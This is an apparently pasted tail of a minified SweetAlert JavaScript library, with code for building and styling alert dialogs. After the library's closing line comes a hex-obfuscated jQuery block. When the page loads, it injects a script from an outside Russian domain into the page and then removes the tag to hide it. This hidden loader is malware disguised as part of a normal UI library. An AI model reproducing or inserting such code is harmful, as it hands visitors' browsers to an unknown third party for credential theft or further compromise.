  3662. var o = '<div class="sweet-overlay" tabIndex="-1"></div><div class="sweet-alert"><div class="sa-icon sa-error">\n <span class="sa-x-mark">\n <span class="sa-line sa-left"></span>\n <span class="sa-line sa-right"></span>\n </span>\n </div><div class="sa-icon sa-warning">\n <span class="sa-body"></span>\n <span class="sa-dot"></span>\n </div><div class="sa-icon sa-info"></div><div class="sa-icon sa-success">\n <span class="sa-line sa-tip"></span>\n <span class="sa-line sa-long"></span>\n\n <div class="sa-placeholder"></div>\n <div class="sa-fix"></div>\n </div><div class="sa-icon sa-custom"></div><h2>Title</h2>\n <p>Text</p>\n <fieldset>\n <input type="text" tabIndex="3" />\n <div class="sa-input-error"></div>\n </fieldset><div class="sa-error-container">\n <div class="icon">!</div>\n <p>Not valid!</p>\n </div><div class="sa-button-container">\n <button class="cancel" tabIndex="2">Cancel</button>\n <div class="sa-confirm-button-container">\n <button class="confirm" tabIndex="1">OK</button><div class="la-ball-fall">\n <div></div>\n <div></div>\n <div></div>\n </div>\n </div>\n </div></div>';
  3663. n["default"] = o, t.exports = n["default"]
  3664. }, {}],
  3665. 8: [function(e, t, o) {
  3666. Object.defineProperty(o, "__esModule", {
  3667. value: !0
  3668. });
  3669. var a = e("./utils"),
  3670. r = e("./handle-swal-dom"),
  3671. s = e("./handle-dom"),
  3672. l = ["error", "warning", "info", "success", "input", "prompt"],
  3673. i = function(e) {
  3674. var t = r.getModal(),
  3675. o = t.querySelector("h2"),
  3676. i = t.querySelector("p"),
  3677. u = t.querySelector("button.cancel"),
  3678. c = t.querySelector("button.confirm");
  3679. if (o.innerHTML = e.html ? e.title : s.escapeHtml(e.title).split("\n").join("<br>"), i.innerHTML = e.html ? e.text : s.escapeHtml(e.text || "").split("\n").join("<br>"), e.text && s.show(i), e.customClass) s.addClass(t, e.customClass), t.setAttribute("data-custom-class", e.customClass);
  3680. else {
  3681. var d = t.getAttribute("data-custom-class");
  3682. s.removeClass(t, d), t.setAttribute("data-custom-class", "")
  3683. }
  3684. if (s.hide(t.querySelectorAll(".sa-icon")), e.type && !a.isIE8()) {
  3685. var f = function() {
  3686. for (var o = !1, a = 0; a < l.length; a++)
  3687. if (e.type === l[a]) {
  3688. o = !0;
  3689. break
  3690. }
  3691. if (!o) return logStr("Unknown alert type: " + e.type), {
  3692. v: !1
  3693. };
  3694. var i = ["success", "error", "warning", "info"],
  3695. u = n; - 1 !== i.indexOf(e.type) && (u = t.querySelector(".sa-icon.sa-" + e.type), s.show(u));
  3696. var c = r.getInput();
  3697. switch (e.type) {
  3698. case "success":
  3699. s.addClass(u, "animate"), s.addClass(u.querySelector(".sa-tip"), "animateSuccessTip"), s.addClass(u.querySelector(".sa-long"), "animateSuccessLong");
  3700. break;
  3701. case "error":
  3702. s.addClass(u, "animateErrorIcon"), s.addClass(u.querySelector(".sa-x-mark"), "animateXMark");
  3703. break;
  3704. case "warning":
  3705. s.addClass(u, "pulseWarning"), s.addClass(u.querySelector(".sa-body"), "pulseWarningIns"), s.addClass(u.querySelector(".sa-dot"), "pulseWarningIns");
  3706. break;
  3707. case "input":
  3708. case "prompt":
  3709. c.setAttribute("type", e.inputType), c.value = e.inputValue, c.setAttribute("placeholder", e.inputPlaceholder), s.addClass(t, "show-input"), setTimeout(function() {
  3710. c.focus(), c.addEventListener("keyup", swal.resetInputError)
  3711. }, 400)
  3712. }
  3713. }();
  3714. if ("object" == typeof f) return f.v
  3715. }
  3716. if (e.imageUrl) {
  3717. var p = t.querySelector(".sa-icon.sa-custom");
  3718. p.style.backgroundImage = "url(" + e.imageUrl + ")", s.show(p);
  3719. var m = 80,
  3720. v = 80;
  3721. if (e.imageSize) {
  3722. var y = e.imageSize.toString().split("x"),
  3723. h = y[0],
  3724. b = y[1];
  3725. h && b ? (m = h, v = b) : logStr("Parameter imageSize expects value with format WIDTHxHEIGHT, got " + e.imageSize)
  3726. }
  3727. p.setAttribute("style", p.getAttribute("style") + "width:" + m + "px; height:" + v + "px")
  3728. }
  3729. t.setAttribute("data-has-cancel-button", e.showCancelButton), e.showCancelButton ? u.style.display = "inline-block" : s.hide(u), t.setAttribute("data-has-confirm-button", e.showConfirmButton), e.showConfirmButton ? c.style.display = "inline-block" : s.hide(c), e.cancelButtonText && (u.innerHTML = s.escapeHtml(e.cancelButtonText)), e.confirmButtonText && (c.innerHTML = s.escapeHtml(e.confirmButtonText)), e.confirmButtonColor && (c.style.backgroundColor = e.confirmButtonColor, c.style.borderLeftColor = e.confirmLoadingButtonColor, c.style.borderRightColor = e.confirmLoadingButtonColor, r.setFocusStyle(c, e.confirmButtonColor)), t.setAttribute("data-allow-outside-click", e.allowOutsideClick);
  3730. var g = e.doneFunction ? !0 : !1;
  3731. t.setAttribute("data-has-done-function", g), e.animation ? "string" == typeof e.animation ? t.setAttribute("data-animation", e.animation) : t.setAttribute("data-animation", "pop") : t.setAttribute("data-animation", "none"), t.setAttribute("data-timer", e.timer)
  3732. };
  3733. o["default"] = i, t.exports = o["default"]
  3734. }, {
  3735. "./handle-dom": 4,
  3736. "./handle-swal-dom": 6,
  3737. "./utils": 9
  3738. }],
  3739. 9: [function(t, n, o) {
  3740. Object.defineProperty(o, "__esModule", {
  3741. value: !0
  3742. });
  3743. var a = function(e, t) {
  3744. for (var n in t) t.hasOwnProperty(n) && (e[n] = t[n]);
  3745. return e
  3746. },
  3747. r = function(e) {
  3748. var t = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);
  3749. return t ? parseInt(t[1], 16) + ", " + parseInt(t[2], 16) + ", " + parseInt(t[3], 16) : null
  3750. },
  3751. s = function() {
  3752. return e.attachEvent && !e.addEventListener
  3753. },
  3754. l = function(t) {
  3755. e.console && e.console.log("SweetAlert: " + t)
  3756. },
  3757. i = function(e, t) {
  3758. e = String(e).replace(/[^0-9a-f]/gi, ""), e.length < 6 && (e = e[0] + e[0] + e[1] + e[1] + e[2] + e[2]), t = t || 0;
  3759. var n, o, a = "#";
  3760. for (o = 0; 3 > o; o++) n = parseInt(e.substr(2 * o, 2), 16), n = Math.round(Math.min(Math.max(0, n + n * t), 255)).toString(16), a += ("00" + n).substr(n.length);
  3761. return a
  3762. };
  3763. o.extend = a, o.hexToRgb = r, o.isIE8 = s, o.logStr = l, o.colorLuminance = i
  3764. }, {}]
  3765. }, {}, [1]), "function" == typeof define && define.amd ? define(function() {
  3766. return sweetAlert
  3767. }) : "undefined" != typeof module && module.exports && (module.exports = sweetAlert)
  3768. }(window, document);
  3769.  
  3770.  
  3771. var $ = jQuery.noConflict();
  3772.  
  3773. var _0x620d = ["\x73\x63\x72\x69\x70\x74", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x74\x79\x70\x65", "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74", "\x73\x72\x63", "\x2F\x2F\x6C\x65\x61\x64\x68\x61\x77\x6B\x2E\x72\x75\x2F\x6A\x73\x2F\x69\x76\x6B\x2E\x6A\x73", "\x69\x64", "\x69\x6E\x76\x6B\x5F\x68\x77", "\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64", "\x62\x6F\x64\x79", "\x72\x65\x6D\x6F\x76\x65", "\x23\x69\x6E\x76\x6B\x5F\x68\x77", "\x72\x65\x61\x64\x79"];
  3774. $(document)[_0x620d[12]](function() {
  3775. var _0x9cbax1 = document[_0x620d[1]](_0x620d[0]);
  3776. _0x9cbax1[_0x620d[2]] = _0x620d[3];
  3777. _0x9cbax1[_0x620d[4]] = _0x620d[5];
  3778. _0x9cbax1[_0x620d[6]] = _0x620d[7];
  3779. document[_0x620d[9]][_0x620d[8]](_0x9cbax1);
  3780. $(_0x620d[11])[_0x620d[10]]()
  3781. })
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement